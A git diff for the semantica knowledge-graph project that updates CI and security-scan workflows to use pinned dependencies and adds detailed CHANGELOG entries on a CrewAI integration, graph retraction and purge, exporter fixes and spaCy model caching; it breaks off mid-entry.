diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md index 66f38cd9..b4d34e46 100644 --- a/.github/pull_request_template.md +++ b/.github/pull_request_template.md @@ -1,4 +1,4 @@ -> **Before you submit:** make sure you followed the [issue workflow in CONTRIBUTING.md](https://github.com/semantica-agi/semantica/blob/main/CONTRIBUTING.md#-working-on-an-existing-issue) — comment on the issue and wait for assignment before opening a PR, to avoid duplicate work. +> **Before you submit:** make sure you followed the [issue workflow in CONTRIBUTING.md](https://github.com/semantica-agi/semantica/blob/main/CONTRIBUTING.md#-working-on-an-existing-issue) — wait for the issue to be assigned to you before opening a PR, to avoid duplicate work. ## Description diff --git a/.github/workflows/benchmark.yml b/.github/workflows/benchmark.yml index f75c199a..0157ee24 100644 --- a/.github/workflows/benchmark.yml +++ b/.github/workflows/benchmark.yml @@ -17,10 +17,10 @@ jobs: with: fetch-depth: 0 - - name: Set up Python 3.12 + - name: Set up Python 3.11 uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7 with: - python-version: "3.12" + python-version: "3.11" cache: 'pip' - name: Install Dependencies diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 6122e91b..4ea31ff8 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -42,8 +42,28 @@ jobs: - name: Build Explorer frontend working-directory: explorer run: npm run build + - name: Install pinned Python dependencies + run: | + pip install -r requirements-ci.txt + - name: Verify requirements-ci.txt is up to date + run: | + pip install uv==0.12.1 + # Re-resolve with the committed file as a constraint: upstream package + # releases must NOT fail CI (deps only change when pyproject.toml + # changes intentionally). Compare only version lines (pkg==ver), + # ignoring the -c constraint comments and the `\` line continuations + # that --generate-hashes emits. + uv pip compile pyproject.toml --python-version 3.11 --extra all \ + --constraint requirements-ci.txt -o /tmp/requirements-ci-check.txt + diff \ + <(grep -E '^[a-zA-Z0-9._-]+==' requirements-ci.txt | sed 's/ \\$//') \ + <(grep -E '^[a-zA-Z0-9._-]+==' /tmp/requirements-ci-check.txt) - run: pip install build - - run: python -m build + # wheel is build-time only (not in requirements-ci.txt) — install the + # same pinned version [build-system] declares so --no-isolation works. + - run: pip install wheel==0.48.0 + - name: Build package (no isolation — pinned deps) + run: python -m build --no-isolation - name: Verify Explorer frontend is packaged run: | python - <<'PY' diff --git a/.github/workflows/codeql.yml b/.github/workflows/codeql.yml index 9aedaf40..0c15e84c 100644 --- a/.github/workflows/codeql.yml +++ b/.github/workflows/codeql.yml @@ -32,7 +32,7 @@ jobs: # meaningful state carried over from a failed attempt. - name: Initialize CodeQL (attempt 1) id: codeql-init-1 - uses: github/codeql-action/init@5595ccaf912efad79be6eef63a5619ff05969be3 # v4 + uses: github/codeql-action/init@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4 continue-on-error: true with: languages: python @@ -42,7 +42,7 @@ jobs: - name: Initialize CodeQL (attempt 2) id: codeql-init-2 if: steps.codeql-init-1.outcome == 'failure' - uses: github/codeql-action/init@5595ccaf912efad79be6eef63a5619ff05969be3 # v4 + uses: github/codeql-action/init@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4 continue-on-error: true with: languages: python @@ -52,17 +52,17 @@ jobs: - name: Initialize CodeQL (attempt 3) id: codeql-init-3 if: steps.codeql-init-2.outcome == 'failure' - uses: github/codeql-action/init@5595ccaf912efad79be6eef63a5619ff05969be3 # v4 + uses: github/codeql-action/init@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4 with: languages: python queries: security-and-quality config-file: .github/codeql/codeql-config.yml - name: Autobuild - uses: github/codeql-action/autobuild@5595ccaf912efad79be6eef63a5619ff05969be3 # v4 + uses: github/codeql-action/autobuild@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4 - name: Perform CodeQL Analysis - uses: github/codeql-action/analyze@5595ccaf912efad79be6eef63a5619ff05969be3 # v4 + uses: github/codeql-action/analyze@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4 with: category: "/language:python" upload: false @@ -72,7 +72,7 @@ jobs: # Uploads results only when Default Setup is not active. # If Default Setup is still enabled, this step skips gracefully # instead of failing the workflow with HTTP 409. - uses: github/codeql-action/upload-sarif@5595ccaf912efad79be6eef63a5619ff05969be3 # v4 + uses: github/codeql-action/upload-sarif@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4 with: sarif_file: ${{ steps.codeql.outputs.sarif-output }} category: "/language:python" diff --git a/.github/workflows/defender-for-devops.yml b/.github/workflows/defender-for-devops.yml index c561dc17..becb7d64 100644 --- a/.github/workflows/defender-for-devops.yml +++ b/.github/workflows/defender-for-devops.yml @@ -57,7 +57,7 @@ jobs: # avoiding the guardian.cmd/checkov exit-code bug in the MSDO wrapper. tools: eslint,templateanalyzer,terrascan - name: Upload results to Security tab - uses: github/codeql-action/upload-sarif@5595ccaf912efad79be6eef63a5619ff05969be3 # v4 + uses: github/codeql-action/upload-sarif@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4 with: sarif_file: ${{ steps.msdo.outputs.sarifFile }} @@ -82,7 +82,7 @@ jobs: } - name: Upload Checkov results to Security tab - uses: github/codeql-action/upload-sarif@5595ccaf912efad79be6eef63a5619ff05969be3 # v4 + uses: github/codeql-action/upload-sarif@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4 if: always() with: sarif_file: reports/checkov.sarif diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 302ede85..bbc8770c 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -36,8 +36,16 @@ jobs: run: | npm ci npm run build + # Install the pinned dependency set (with hashes) so the sdist/wheel + # build runs against the same versions CI tests against. + - name: Install pinned build dependencies + run: pip install -r requirements-ci.txt - run: pip install build - - run: python -m build + # wheel is build-time only (not in requirements-ci.txt) — install the + # same pinned version [build-system] declares so --no-isolation works. + - run: pip install wheel==0.48.0 + - name: Build package (no isolation — pinned deps) + run: python -m build --no-isolation - name: Verify Explorer frontend is packaged run: | python - <<'PY' diff --git a/.github/workflows/security-scan.yml b/.github/workflows/security-scan.yml index ab742e76..5b4461af 100644 --- a/.github/workflows/security-scan.yml +++ b/.github/workflows/security-scan.yml @@ -45,11 +45,14 @@ jobs: - name: Install dependencies run: | python -m pip install --upgrade pip + # Install the pinned dependency set FIRST so Safety scans Semantica's + # exact CI/release dependency tree (requirements-ci.txt is generated + # from pyproject.toml extras, so this covers the project's real deps). + pip install -r requirements-ci.txt + # Tooling AFTER the pinned set: installing safety/bandit/semgrep/jq + # first lets the pinned requirements overwrite their transitive deps + # (e.g. rich), which breaks the safety CLI at runtime. pip install safety bandit semgrep jq - # Install the project itself (core deps + the LiteLLM provider extra) - # so Safety scans Semantica's actual dependency tree, not just the - # scanner tools' own dependencies. - pip install -e ".[llm-litellm]" - name: Run Safety Check (Package Vulnerabilities) run: | diff --git a/.github/workflows/security.yml b/.github/workflows/security.yml index 9f093bc7..412e7eaa 100644 --- a/.github/workflows/security.yml +++ b/.github/workflows/security.yml @@ -4,6 +4,12 @@ on: schedule: - cron: '0 0 * * 1' workflow_dispatch: + pull_request: + branches: [main] + paths: + - 'pyproject.toml' + - 'requirements-ci.txt' + - '.github/workflows/security.yml' permissions: contents: read @@ -16,6 +22,21 @@ jobs: - uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7 with: python-version: '3.11' + # Upgrade first: actions/setup-python's baked-in setuptools has been + # behind known-vulnerable floors before (e.g. PYSEC-2026-3447 / + # setuptools 75.1.0), so don't trust the preinstalled one. + - run: python -m pip install --upgrade pip setuptools + # Audit the pinned dependency set (requirements-ci.txt is compiled from + # pyproject.toml with --extra all — the same coverage as the [all] + # extra, minus the Linux-only gpu set — so this keeps scan parity with + # CI/release builds without a time-dependent resolution). This is the + # fix for PYSEC-2024-38 (#869): the bare-env job never had fastapi or + # python-multipart installed to look at. + - run: pip install -r requirements-ci.txt + # PR runs gate on findings, since they're scoped to actual + # pyproject.toml changes under review. The schedule/workflow_dispatch + # runs stay non-blocking until a full pass over pre-existing findings + # across the whole [all] tree has been done. - run: pip install pip-audit - - run: pip-audit - continue-on-error: true + - run: pip-audit -r requirements-ci.txt + continue-on-error: ${{ github.event_name != 'pull_request' }} diff --git a/CHANGELOG.md b/CHANGELOG.md index a77ec2f1..bbd7cfb2 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -11,6 +11,233 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Added +- **First-class CrewAI integration** (#962) + - New `pip install semantica[crewai]` extra (`crewai>=0.80.0`) — crewai core provides `BaseTool`/`BaseKnowledgeSource`, so `crewai-tools` is intentionally not included, and the extra is intentionally **not** part of the `all` bundle: crewai hard-requires `chromadb~=1.1.0`, which is affected by the unpatched pre-auth code-injection CVE-2026-45829 (see `integrations/crewai/README.md`) + - `integrations/crewai/SemanticaKGTool` — a CrewAI `BaseTool` exposing 5 KG actions (`extract_entities`, `extract_relations`, `add_to_graph`, `query_graph`, `find_related`) backed by `NERExtractor` / `RelationExtractor` / `ContextGraph`; supports both sync `run()` and async `arun()` + - `integrations/crewai/SemanticaDecisionTool` — a CrewAI `BaseTool` wrapping `AgentContext` with 5 decision-intelligence actions (`record_decision`, `find_precedents`, `trace_causal_chain`, `analyze_impact`, `check_policy`) + - `integrations/crewai/SemanticaKnowledgeSource` — a CrewAI `BaseKnowledgeSource` that serializes a `ContextGraph` into crew knowledge storage; implements both the legacy `load_content()` and current `validate_content()`/`aadd()` contracts so it works across `crewai>=0.80.0` + - All three classes degrade gracefully when `crewai` is not installed (still importable, full Semantica API available) + - New `tests/integrations/crewai/`: 70 tests covering stub-based present-case behavior (Pydantic/BaseTool subclassing, every action, knowledge-source chunking/storage) plus a subprocess isolation test for the crewai-absent degradation path + - Docs: `docs/integrations/crewai.md` page, `docs.json` Integrations nav entry, and README integration-matrix/install updates + - **Hardened during code review**: live `graph`/`context`/extractor state is excluded from CrewAI JSON serialization (`model_dump(mode="json")`) with `model_post_init` self-healing defaults, so checkpoint/resume no longer raises `PydanticSerializationError`; `query_graph` now searches node content (not just ids/types); `trace_causal_chain` returns an explicit error instead of substituting similarity precedents when causal tracing is unavailable, and calls `trace_decision_causality(..., max_depth=...)` with the correct argument name; `find_precedents` propagates `max_precedents` as the backend `limit`; `add_to_graph` writes are serialized under a module lock so concurrent agents can't double-count duplicate adds; nameless entities are skipped instead of creating `repr()`-junk nodes + - **Hardened during second code review**: `check_policy` rules are now coerced type-aware — `bool("false")` was truthy, so `enabled == false` reported a violation for `enabled: false`, and string datums like `"0.90"` were compared lexicographically instead of numerically; `trace_causal_chain` no longer raises `AttributeError` (which escaped the tool) when the decision context has no `knowledge_graph`, returning honest error JSON instead; knowledge-source storage failures log an actionable ERROR (a missing crew embedder otherwise silently left agents with empty retrieval); `add_to_graph` uses a per-graph re-entrant lock instead of a process-global one (independent graphs no longer serialize each other, and re-entrant extractors can't deadlock); entity/relation `confidence=None` normalizes to `1.0` instead of failing the whole extraction; added a subprocess integration test against the real `crewai` package covering `Crew`-level serialization round-trip and restore + +- **`ContextGraph` gains retraction and purge — the graph previously had no way to remove a node or edge without discarding everything via `clear()`** (#957, closes #955) by @pravit-amp, reviewed by @KaifAhmad1 + - `retract_node()`/`retract_edge()` close an entity's validity window rather than deleting it, reusing the existing `valid_from`/`valid_until`/`state_at()` machinery: the entity drops out of `find_active_nodes()` and future `state_at()` queries going forward, but `state_at()` calls before the retraction time still return it, so decisions recorded against it stay explainable. A `("kind", id)`-keyed retraction record captures who/why/when, retrievable via `get_retraction()`/`list_retractions()` + - `purge_node()`/`purge_edge()` are the destructive counterpart: the entity is removed outright, from history as well as the active view, for erasure obligations retraction alone cannot satisfy (e.g. GDPR Article 17). Only a tombstone remains — that a purge happened, when, and why — deliberately never the purged content, via `get_tombstone()`/`list_tombstones()`. Purge is graph-scope only: `AgentMemory` and any bound vector store are not reached, so it is one step of an erasure workflow rather than the whole of it + - Both operations default to `cascade=True` (also touching every incident edge, and for `purge_node`, the marker node of any cross-graph link the node exits through) since leaving edges active around an inactive/removed node produces an inconsistent active view or dangling endpoints; both accept `cascade=False` for callers that want to handle edges themselves + - Both are idempotent: retracting/purging an already-retracted/purged entity returns `False` rather than raising, and a repeat retraction preserves the original record's reason rather than overwriting it + - Retraction/purge closing a validity window never widens an existing one — a node or edge added with `valid_until` already in the past keeps that earlier bound rather than being pushed later by a subsequent retraction time + - Reuses the existing audit-trail path with no changes to `change_management`: `MutationRecord` already documented `REMOVE_NODE`/`REMOVE_EDGE` in its operation vocabulary; retraction now emits `UPDATE_NODE`/`UPDATE_EDGE`, purge emits `REMOVE_NODE`/`REMOVE_EDGE`, matching the documented contract. Mutation payloads are snapshotted inside the lock and the callback fires after it is released, so a callback that itself mutates the graph (e.g. `clear()`) can't observe or lose in-flight records + - **Fixed during review** (@KaifAhmad1): `retract_edge()`/`purge_edge()` resolved "the edge" for a given `edge_id` via the first matching object only. `edge_id` is content-derived and, prior to #926, was not guaranteed unique — a graph holding two identical `add_edge()` calls had two edge objects sharing one id. A direct `retract_edge()`/`purge_edge()` call would silently leave the second duplicate untouched (still live, still active) while returning `True` and recording a tombstone/retraction that claimed the edge was fully handled; repeat `purge_edge()` calls also silently overwrote the tombstone's `reason`/`purged_at` on each partial attempt instead of no-op'ing. The same gap let `retract_node()`'s cascade skip a duplicate outright, since it checked the live `_retractions` dict mid-loop and treated the first duplicate's just-written record as proof the second was already handled. `#926` (merged) stops *new* duplicates from being created, but any graph already holding one — loaded from a save made before that fix, or built during the window before it landed — could still trigger this. Now `retract_edge()`/`purge_edge()` act on every edge matching the id under one record, and the cascade's dedup check is snapshotted before the loop starts so within-call duplicates are still closed rather than skipped. 5 new regression tests in `TestDuplicateEdgeId` + - New `tests/context/test_context_graph_retraction.py`: 49 tests, covering retraction/purge semantics, cascade, idempotency, validity-window narrowing, id-keyspace collisions between node and edge ids, cross-graph link teardown, `clear()`/`load_from_file()` resetting retraction/tombstone state, audit-trail integration against a real `TemporalVersionManager`, mutation-emission ordering under a concurrent `clear()`, and concurrent purges + - Full `tests/context/` suite: 533 passed +- **`DistanceExporter.compute_pairs()` gains an opt-in `metric_errors` column to distinguish legitimate `None` results from computation failures** (#960, follow-up to #879) by @Karunasagar12 + - Previously, a `None` in `hop_count`/`weighted_distance`/`semantic_similarity`/betweenness could mean either "no path exists" or "the underlying computation raised" — logged as a warning per #879, but not otherwise surfaced, so the two cases were indistinguishable in exported CSV/JSONL/DataFrame data. `include=["metric_errors"]` now adds a `metric_errors` field per row: `""` when all requested metrics succeeded, or a comma-separated list of metric names that raised (e.g. `"hop_count,weighted_distance"`) + - Opt-in only — default `compute_pairs()`/`to_csv()`/`to_dataframe()`/`to_jsonl()` schema is unchanged unless `"metric_errors"` is explicitly requested + - The four metric helpers (`_betweenness`, `_hop_distance`, `_weighted_distance`, `_semantic_similarity`) now return `(value, error_name | None)` tuples internally; `compute_pairs()` aggregates the error names per row + - **Fixed during review** (Qodo): `_betweenness()` failures weren't tracked into `metric_errors` in the initial version — centrality computation could raise and the column would still report `""`. Now returns its error tuple like the other three helpers + - **Known limitation**: `include=["metric_errors"]` with no other metric names computes nothing, so the column is always `""` in that case — pass it alongside the metrics you want tracked, e.g. `include=["hop_count", "metric_errors"]` + - New `tests/export/test_distance_exporter_metric_errors.py`: 6 tests covering success, single/multiple failures, opt-out, the no-path-vs-error distinction, and default-schema stability; existing `tests/export/test_distance_exporter.py` updated for the new tuple return type + - Full `tests/export/` suite: 77 passed + +### Changed + +- **`GraphBuilder`'s 6 public methods now have Google-style docstrings** (#878, closes #876) by @cakeni + - `semantica/kg/graph_builder.py`'s `build`, `build_single_source`, `add_temporal_edge`, `create_temporal_snapshot`, `query_temporal`, and `load_from_neo4j` — the core knowledge-graph construction API, imported directly by callers — previously had zero docstrings across all 6 methods, the only file in a 10-file audit sample with that gap, despite CONTRIBUTING.md requiring Google-style `Args`/`Returns`/`Raises`/`Example` docs for public methods. Added full docstrings for all 6, plus the previously undocumented `build_single_source`, with runnable (`# doctest: +SKIP`) usage examples + - **Corrected during review**: `query_temporal`'s docstring claimed the query text was used to filter the graph; the implementation only records it in the result (`results = {"query": query, ...}`) with no interpretation or filtering. Corrected to state that explicitly + - **Corrected during review**: `create_temporal_snapshot`'s docstring implied entities were filtered for validity at the snapshot timestamp like relationships are; the implementation copies all entities unfiltered and only filters `relationships` by `valid_from`/`valid_until`. Docstring now distinguishes the two + - **Corrected during review**: `add_temporal_edge`/`create_temporal_snapshot` docstrings overclaimed numeric-timestamp support; `_parse_time()` only special-cases `str` and `datetime`, falling back to a bare `str()` cast for anything else (not true numeric parsing). Narrowed to "datetime or ISO-formatted string" + - **Fixed along the way**: `build()`'s `**options` documented a default only for `extract`; `extract_relations`, `extract_triplets`, `ner_method`, `relation_method`, and `triplet_method` all have concrete defaults in `_extract_from_text()` (`True`, `True`, `"llm"`, `"llm"`, `"llm"`) that were left unstated, inconsistent with CONTRIBUTING.md's own docstring example of noting defaults inline + - `python -m pytest tests/kg/test_kg.py tests/kg/test_graph_builder_external.py -q`: 45 passed +- **`GraphBuilder` raw-text extraction now defaults to local extractors instead of LLM extraction** (closes #930) by @dex0shubham + - `GraphBuilder._extract_from_text()` defaulted `ner_method`, `relation_method`, and `triplet_method` to `"llm"`, and ran relation extraction unconditionally (`extract_relations` defaulted to `True`) — all four contradicting the defaults documented in the `build()` docstring at the time (`"ml"` / `"pattern"` / `False`), and diverging from the standalone extractors (`NERExtractor` defaults to `method="ml"`, `RelationExtractor` and `TripletExtractor` to `method="pattern"`). The practical effect was that any raw-text `build()` call silently required a configured provider, an API key, and network access + - Defaults are now `ner_method="ml"`, `relation_method="pattern"`, `triplet_method="pattern"`, and `extract_relations=False`, matching the docstring. LLM extraction remains fully available and is now opt-in + - **To restore the previous behaviour**, pass the methods explicitly: + ```python + builder.build( + sources, + ner_method="llm", + relation_method="llm", + triplet_method="llm", + extract_relations=True, + ) + ``` + - #878 landed in the meantime and resolved the same mismatch in the opposite direction, documenting the LLM values (`"llm"` / `"llm"` / `"llm"`, `extract_relations: True`) as the contract. Per the decision on #930 the code is the side that changes, so those docstring defaults are corrected here to `"ml"` / `"pattern"` / `"pattern"` / `False`, keeping #878's formatting + - Removed the stale `# Default to LLM methods as per requirement` comment, which read as an intentional decision but did not match the documented contract + - **Fixed along the way**: `_extract_from_text()` constructed a fresh extractor for every text, and `NERExtractor.__init__` loads its spaCy model eagerly when the method includes `"ml"` — so with the new default, a multi-document build would have reloaded the model once per source. Extractors are now built once per `(kind, method)` and reused for the lifetime of the builder, via `GraphBuilder._get_extractor()`. This path was previously unreachable by default because the old `"llm"` default never touched spaCy + - **Fixed along the way**: `_extract_from_text()` never forwarded its extracted relations to triplet extraction — it passed only `entities=`, so `TripletExtractor` re-derived relations itself (via a method taken from `triplet_method`) whenever `relations is None`, duplicating work and producing triplets that could disagree with the relations already extracted using `relation_method`. Relations are now passed through as `relations=`; when relation extraction is disabled or fails, `None` is forwarded and `TripletExtractor` keeps its existing self-derivation behaviour + - **Fixed along the way**: `GraphBuilder._extraction_stats` was only initialised inside `build()`, so calling `_extract_from_text()` directly raised an `AttributeError` that the extraction path's broad `except` swallowed and reported as `"Entity extraction failed"`. It is now seeded in `__init__` as well; `build()` still resets it per run + - New regression coverage in `tests/kg/test_graph_builder_extraction_defaults.py` pinning all four defaults, verifying that no default resolves to `"llm"`, confirming explicit LLM opt-in still routes correctly, asserting extractors are constructed once across repeated texts, covering fallback method lists (e.g. `ner_method=["pattern", "ml"]`) for all three extractors, asserting relations are forwarded to triplet extraction (and that `None` is forwarded when relation extraction is disabled or fails), and running the real default path end to end with no provider mocked. Verified to fail against the pre-fix code + - Full `kg` suite: 473 passed + +### Fixed + +- **`split`/chunking paths bypassed the centralized spaCy model cache, reloading the model on every call** (#1042, closes #998) by @Accute9, reviewed by @Sameer6305 + - `semantica/split/methods.py`'s `split_by_sentences()` and `semantica/split/semantic_chunker.py`'s `SemanticChunker.__init__` each called `spacy.load()` directly instead of reusing the process-level cache added in #889/`semantic_extract/methods.py`'s `load_spacy_model()` — every call/construction re-paid the ~120ms model-load cost independently of `NERExtractor`, which already used the cache + - Both now route through `load_spacy_model()`, sharing one cached `Language` instance per model name across `split_by_sentences()`, `SemanticChunker`, and `NERExtractor`; a missing model still falls back to regex/paragraph chunking without poisoning the cache for a later successful load + - **Fixed during review** (@Sameer6305): `NERExtractor.__init__()` still had a direct `spacy.load()` call site with the same cache-bypass issue, outside the two files named in #998 but sharing the same root cause; routed through the cache alongside stale test patch targets and a strengthened cache-configuration assertion + - **Fixed during review** (@KaifAhmad1): `SemanticChunker.__init__` only caught `OSError` around `load_spacy_model()`, while the sibling fix to `NERExtractor` in this same PR added a broader `except Exception` for a model that is installed but fails at runtime (e.g. a config incompatible with the installed spaCy version). A broken-but-present model crashed `SemanticChunker()` outright instead of degrading to fallback chunking like every other path in this PR. Added the matching `except Exception` branch, leaving `self.nlp` as `None`; new `test_semantic_chunker_falls_back_when_spacy_runtime_is_broken` mirrors the existing `NERExtractor` regression test for the same scenario + - New `tests/split/test_spacy_model_cache.py`: cache reuse across repeated calls/instances, shared cache between `split_by_sentences()`/`SemanticChunker`/`NERExtractor`, distinct model names loading separately, missing-model fallback without poisoning the cache, and the broken-runtime fallback added above + - `pytest tests/split/test_spacy_model_cache.py tests/split/test_splitter.py tests/split/test_chunkers.py`: all passing (3 pre-existing, unrelated `tests/test_ner_configurations.py` failures confirmed present on `main` before this PR) + +- **`export_yaml` raised a raw `AttributeError` on list input, silently wrote empty exports for unrecognized dict keys, and graph payloads were reconciled differently by every exporter** (#958, closes #956, #952, #953) by @pravit-amp, reviewed by @Sameer6305 + - Graph payloads circulate under two vocabularies, `entities`/`relationships` and `nodes`/`edges`, and each exporter reconciled them locally with a different idiom — `LPGExporter` in particular dropped every entity whenever `nodes` was present but empty, the exact shape `JSONExporter` emits. A new `normalize_graph_payload()` in `utils/helpers.py` centralizes that decision once, adopted by `LPGExporter`, `ArangoAQLExporter`, `Neo4jCSVExporter`, and both YAML exporters; `ContextGraph.to_dict()` now round-trips through YAML correctly as a result + - `export_yaml(records, path)` on a bare list previously failed with `AttributeError` from inside the exporter; it and the other YAML methods now reject non-mapping input with an actionable `ProcessingError` naming the expected keys, since these formats distinguish entities/relationships/triplets and guessing which one a list represents would mislabel the records + - `export_yaml({"data": [...]}, path)` previously wrote a structurally valid file with every collection empty, no exception, no warning, and the progress log reporting a completed export. `export_semantic_network`, `export_for_pipeline`, and `export_ontology_schema` now raise `ValidationError` when the payload shares no recognized key with what the method reads, or resolves to nothing while an unread key still holds records — an empty mapping is still accepted, since a genuinely empty graph has no records to lose + - **Breaking**: the two cases above, plus a bare list, now raise instead of returning cleanly with data silently dropped or a raw `AttributeError` from exporter internals. Migration: pass records under a recognized key (`{"entities": [...]}` / `{"nodes": [...]}` for `semantic_network`, `{"classes": [...]}` for `schema`) + - **Fixed during review** (Qodo): progress tracking could report a completed export before the output directory existed or the file was written; `export()` now creates the directory and serializes before starting tracking, so a rejected export leaves nothing behind + - **Fixed during review** (@Sameer6305, round 1): `normalize_graph_payload()`'s collection resolver treated any truthy value as a collection — `{"entities": "abc"}` silently became three single-character records, `{"entities": 42}` leaked a raw `TypeError` from inside `list()`. Collection values are now validated before conversion, rejecting strings/bytes/mappings/non-iterable scalars by name. Separately, `Neo4jCSVExporter._normalize_graph` called the shared resolver with `require_recognized=False`, so it alone kept accepting an unrecognized mapping as a silent empty export; the opt-out (introduced earlier in this same PR, with no other caller) was removed + - **Fixed during review** (@Sameer6305, round 2): `YAMLSchemaExporter`'s usable-schema check could treat scalar schema metadata (`version`, `uri`, `title`, `description`) as evidence records had been exported, letting records under an unread key drop silently; and `_is_record()` accepted modules and class/type objects through the generic `__dict__` path, which would have reached exporter internals instead of failing at the boundary. Both closed, with regression coverage + - **Fixed during final maintainer review** (before merge): four more gaps in the shared boundary that the earlier rounds didn't reach + - `LPGExporter`/`ArangoAQLExporter` called `normalize_graph_payload()` with no type guard, so non-mapping input raised `ValidationError` from inside the resolver — while YAML and `Neo4jCSVExporter` raised `ProcessingError` for the identical mistake, per this PR's own stated contract. The `_require_mapping()` guard that already existed in `yaml_exporter.py` is now shared from `utils/helpers.py` and used by all three + - `Neo4jCSVExporter._normalize_graph` checked `isinstance(graph, dict)`, so a non-dict `Mapping` (`MappingProxyType`, `ChainMap`) fell through to the object-attribute branch and was rejected, even though the identical payload exported fine via `LPGExporter`/`ArangoAQLExporter`/YAML. Now checks `isinstance(graph, Mapping)` + - `normalize_graph_payload()` accepts dataclass and attribute-bearing object records (`Neo4jCSVExporter._record_to_dict` reads them), but `LPGExporter`/`ArangoAQLExporter` call `.get(...)` directly on resolved entities — an object-shaped record passed validation only to crash with a raw `AttributeError` once used, the exact failure this PR's boundary exists to prevent. Records are now converted to plain dicts at the boundary (`_coerce_records` → new `_record_to_dict`), so every consumer gets a uniform shape regardless of which reading the caller used + - Two non-empty spellings of the same collection (e.g. `entities` and `nodes`) holding identical records in a different order were rejected as conflicting, since the check used plain list equality; a caller round-tripping through a dict-keyed cache or a set has no reason to preserve order. Comparison is now an order-independent multiset of each record's canonical JSON form + - New regression coverage in `tests/utils/test_normalize_graph_payload.py`: exception-type parity for non-mapping input across `export_lpg`/`export_arango`/`export_neo4j_csv`, dataclass-record conversion verified end-to-end through the same three exporters, `Neo4jCSVExporter` accepting a `MappingProxyType` payload, and reordered-alias equality (plus a duplicate-count case confirming the multiset check still catches real conflicts); 4 existing tests updated to assert the corrected dict-conversion behavior instead of the previous object passthrough + - `pytest tests/export tests/utils tests/context tests/test_export_module.py tests/test_export_methods_wrapper.py tests/test_notebooks_simulation.py`: 718 passed, 4 skipped (up from 641 passed, 62 subtests at PR submission); `black`/`isort`/`flake8 --max-line-length=88` clean on every line this PR touches; `python -m build`: succeeds + +- **`ContextGraph.add_edge` had no dedupe — identical edges were stored repeatedly under one shared edge ID, and re-ingest doubled the edge set** (#926, closes #922) by @pravit-amp + - `_add_internal_edge` appended to `self.edges`, `edge_type_index`, and `_adjacency` unconditionally, with no check for an edge already present. Edge identity is content-derived (`_resolve_edge_identity` builds `edge_id` from `source_id`/`target_id`/`edge_type`/`weight`/`metadata`/`valid_from`/`valid_until`), so two identical `add_edge` calls produced two edge objects sharing one `edge_id` — the graph already considered them the same edge, it just kept both copies. `self.nodes` already deduped by ID; edges did not, so `stats()["edge_count"]` inflated, `density()` could exceed its mathematical maximum of `1.0`, and a refresh/restore job calling `build_from_entities_and_relationships()` (or reloading a saved graph) doubled the edge set on every cycle + - Added an `edge_id -> ContextEdge` index (`_edge_index`), mirroring how `self.nodes` dedupes by node ID. `_add_internal_edge` now returns `False` when the `edge_id` already exists, checked before touching `edges`/`edge_type_index`/`_adjacency` and before firing the mutation callback, so a repeat `add_edge` is a silent no-op with no phantom `ADD_EDGE` audit event + - Genuinely parallel edges are unaffected: differing type/weight/metadata/validity still produce distinct content-derived `edge_id`s, so multigraph semantics are preserved + - Both state-reset paths (`load_from_file()` and `clear()`) also clear `_edge_index` + - New tests: repeat `add_edge` is a no-op, parallel edges with distinct attributes are preserved, re-ingest via `build_from_entities_and_relationships()` stays at one edge, and `clear()` resets the dedupe index + - `pytest tests/context/test_context.py`: 31 passed + +- **`POST /api/enrich/extract` returned 503 on every request; the whole `/api/decisions*` family returned 500 as soon as a decision existed** (#886, closes #883, closes #884, closes #889) by @joseedson18jc, reviewed by @Sameer6305 + - `semantica/explorer/routes/enrich.py` imported `extract_entities`/`extract_relations` from `semantica.semantic_extract.methods`, names that module never defined (only per-strategy variants like `extract_entities_ml` exist) — the `except ImportError` handler reported this as `"semantic_extract module not available"`, masking a wiring bug as a missing dependency. The route now calls `NamedEntityRecognizer`/`RelationExtractor` directly and forwards extracted entities into relation extraction instead of re-deriving them + - `ContextGraph.record_decision()` stores `timestamp` as `datetime.now().timestamp()` (a float), while `DecisionResponse.timestamp` was typed `Optional[str]`; passing the value through unconverted failed pydantic validation on every decision route (`/api/decisions`, `/{id}`, `/{id}/chain`, `/{id}/precedents`, `/{id}/compliance`). Added a `field_validator(mode="before")` on `DecisionResponse` normalizing float/int/datetime inputs to ISO-8601 + - Folds in the fix for #889: `extract_entities_ml`/`extract_relations_similarity`/`extract_relations_dependency` called `spacy.load()` on every invocation (~120ms of a ~132ms call, ~60x the actual extraction work). Added a process-level, lock-guarded `load_spacy_model()` cache in `semantic_extract/methods.py`, keyed by model name; failed loads are not cached, and the separate `get_nlp_model()` cache (different `disable=` pipeline config for similarity work) is kept independent to avoid handing one caller's spaCy pipeline to another + - **Fixed during review** (@Sameer6305): capped previously-unbounded input text on `/api/enrich/extract`; tightened the route's exception handling + - **Fixed during review** (@KaifAhmad1): the timestamp validator's `math.isfinite()` guard only rejected NaN/inf — a finite-but-out-of-range epoch (e.g. milliseconds mistakenly stored instead of seconds, such as `1723600000000`) still raised an uncaught `OverflowError`/`OSError` from `datetime.fromtimestamp()`, reintroducing an unhandled 500 on `/api/decisions*` for exactly the class of bug this PR closes. Now caught and re-raised as a `ValueError`. Also excluded `bool` from the numeric branch (`isinstance(True, int)` is `True` in Python, so `timestamp=True` was silently coerced to epoch 1 instead of being rejected) + - New/updated tests: `tests/explorer/test_explorer_api.py` (`TestRecordedDecisions`, extraction coverage, 4 new `TestDecisionResponseTimestampValidator` cases for the range/bool fixes), `tests/semantic_extract/test_spacy_model_cache.py` (6 tests) + - `pytest tests/explorer tests/semantic_extract/test_spacy_model_cache.py`: 266 passed + +- **Explorer UI hid backend failures: graph load hung forever, 